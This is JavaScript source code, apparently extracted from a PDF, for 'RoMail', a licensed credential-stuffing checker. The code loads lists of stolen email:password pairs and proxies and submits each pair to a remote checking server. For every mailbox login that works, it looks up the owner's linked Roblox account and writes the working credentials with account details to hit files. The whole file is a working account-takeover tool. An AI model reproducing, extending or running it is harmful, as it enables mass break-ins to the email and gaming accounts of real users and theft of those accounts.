////// CHECKER INFO //////

let CURRENT_VERSION = "Private v1.3.2"

let app_name = `RoMail (${CURRENT_VERSION})`
//////////////////////////

process.on('uncaughtException', (err) => {})

const axios = require('axios')

const fs = require('graceful-fs')
const chalk = require('chalk')
const moment = require("moment")
const readline = require("readline")
const inquirer = require("inquirer")

class Output {
constructor(level) {
this.level = level
this.colorMap = {
INFO: [chalk.blue, 'INFO'],
INVALID: [chalk.red, 'BAD'],
"2FA": [chalk.red, '2FA'],
BANNED: [chalk.red, 'BAN'],
LOCKED: [chalk.red, 'LOCK'],
VALID: [chalk.yellow, "VALID"],
BYPASS: [chalk.yellow, "BYPASS"],
HIT: [chalk.green, 'ROBLOX'],
OHIT: [chalk.green, 'HIT']
}
}

log(...args) {
const [color, text] = this.colorMap[this.level] || [chalk.whiteBright,
this.level]
const timeNow = moment().format("HH:mm:ss")

let base = `${chalk.gray(`[${timeNow}]`)} ${color(text.toUpperCase())}`

args.forEach(arg => {
base += ` ${chalk.reset(arg)}`
})
console.log(base)
}
}

////// COUNTER //////

var total_combos = 0
var total_checked = 0
var hits = 0
var _2fa = 0
var invalid = 0
var valid = 0
/////////////////////

process.title = `${app_name} | Not Logged In`

function input(prompt) {
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout
});
 return new Promise(resolve => {
rl.question(prompt, answer => {
rl.close();
resolve(answer);
});
});
}

function waitForEnter() {
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout
});

return new Promise(resolve => {

rl.question("", answer => {
rl.close();
resolve(answer);
});
});
}

(async () => {
var key

if (fs.existsSync("license_key.txt")) {
key = fs.readFileSync("license_key.txt").toString()
} else {
key = (await inquirer.prompt({
name: 'key',
type: 'input',
message: 'Enter your license key'
})).key
}

const response = await axios.post("http://us1.uniplex.xyz:3041/auth", {

api_key: key,
})

if (response.data.error) {
new Output("INVALID").log(response.data.error)
await waitForEnter()
process.exit(0)
} else {
console.clear()

if (response.data.version != CURRENT_VERSION) {
new Output("INVALID").log("Your version is currently outdated, please
contact the dev to download new one!")
await waitForEnter()
process.exit(0)
}

fs.writeFileSync("license_key.txt", key)

const combos = fs.readFileSync("combos.txt").toString().split("\n").length

- 1
total_combos = combos.toString()
 console.log("Welcome, " + chalk.green(response.data.username) + "!")
console.log("Loaded " + total_combos + " combos.")

const method = await inquirer.prompt({

name: 'method',
type: 'list',
message: 'Please choose a method',
choices: [
'Roblox Full Detection'
]
})

if (method.method == "Roblox Full Detection") {

await RobloxCheck(key)
} else {
new Output("VALID").log("Coming soon!")
await waitForEnter()
process.exit(0)
}
}
})()

async function RobloxCheck(key) {

const rp = require("request-promise")
const retryReq = require('request-promise-retry')

process.title = `${app_name} | Method: Roblox Full Detection | Total Combos: $

{total_combos} | Total Checked: ${total_checked} | Roblox Hits: ${hits} | 2FA: $
{_2fa} | Valid Mails: ${valid} | Invalid: ${invalid}`

async function Start(interval) {

let stop = false
let retry = 0

let stopResponse = null

const proxies = fs.readFileSync("proxies.txt").toString().split("\n")

const filePath = "combos.txt"

const accounts = fs.readFileSync(filePath).toString().split("\n")
const maxRetry = accounts.length

return new Promise((resolve, reject) => {

const searcher = setInterval(async () => {
retry++

if (retry >= maxRetry) {

stop = true
}

const account = accounts[retry].trim()

const email = account.split(":")[0]
const password = account.split(":")[1]

const response = await retryReq(rp, {retries: 100,

minTimeout: 500,
maxTimeout: 5000,
randomize: false})({
 uri: "http://us1.uniplex.xyz:3041/check",
method: 'POST',
body: {
api_key: key,
email: email,
password: password,
proxy: proxies[Math.floor(Math.random() *
proxies.length)].trim(),
method: "RobloxHit"
},
json: true
})

if (response.success) {
if (response.success.inboxSearcher.roblox) {
if (response.success.inboxSearcher.roblox.username != null
&& response.success.inboxSearcher.roblox.emailChanged == false) {
const id = (await rp({
uri: "https://users.roblox.com/v1/usernames/users",
method: "POST",
json: true,
body: { usernames:
[response.success.inboxSearcher.roblox.username], excludeBannedUsers: false }
}).catch(() => null)).data?.[0]?.id || "Failed to fetch
ID"
const res = await rp({ uri:
"https://users.roblox.com/v1/users/" + id, json: true, simple: false }).catch(() =>
null)
// const joinDate = res?.created ? `<t:${Math.floor(new
Date(res.created).getTime() / 1000)}:D>` : "Failed to fetch."
// const thumbnail = (await rp({
// uri:
`https://thumbnails.roblox.com/v1/users/avatar`,
// qs: { userIds: id, size: "150x150", format:
"Png", isCircular: false },
// json: true
// }).catch(() => null))?.data?.[0]?.imageUrl

var username =
response.success.inboxSearcher.roblox.username
var AAL =
response.success.inboxSearcher.roblox.allAccountUsernameLinked

if (AAL == null) {
AAL = username
} else {
AAL = AAL.join(", ")
}

const hit_with_capture = `$
{response.success.capture.email}:${response.success.capture.password} | Country: $
{response.success.capture.country} | Username: ${username} | ID: ${id.toString()} |
Join Date: ${res.created.split("T"[0])} | All Accounts Linked: ${AAL} | Checked by
Pulsive Bruter`
new Output("HIT").log(hit_with_capture)
fs.appendFileSync("roblox_hits.txt", hit_with_capture +
"\n")
hits += 1
total_checked += 1
 } else {
const hit_with_capture = `$
{response.success.capture.email}:${response.success.capture.password}`
new Output("VALID").log(hit_with_capture)
fs.appendFileSync("valid_mails.txt", hit_with_capture +
"\n")
valid += 1
total_checked += 1
}
}
} else if (response.error && response.error != "RATELIMITED") {
new Output("INVALID").log(response.error)
total_checked += 1
} else if (response.fail) {
new Output(response.fail).log(email + ":" + password)
if (response.fail == "2FA") {
_2fa += 1
total_checked += 1
} else {
invalid += 1
total_checked += 1
}
} else {
new Output("INVALID").log(email + ":" + password)
invalid += 1
total_checked += 1
}

process.title = `${app_name} | Method: Roblox Full Detection |

Total Combos: ${total_combos} | Total Checked: ${total_checked} | Roblox Hits: $
{hits} | 2FA: ${_2fa} | Valid Mails: ${valid} | Invalid: ${invalid}`
}, parseInt(interval))
})
}

(async() => {
await Start(1)
})()
}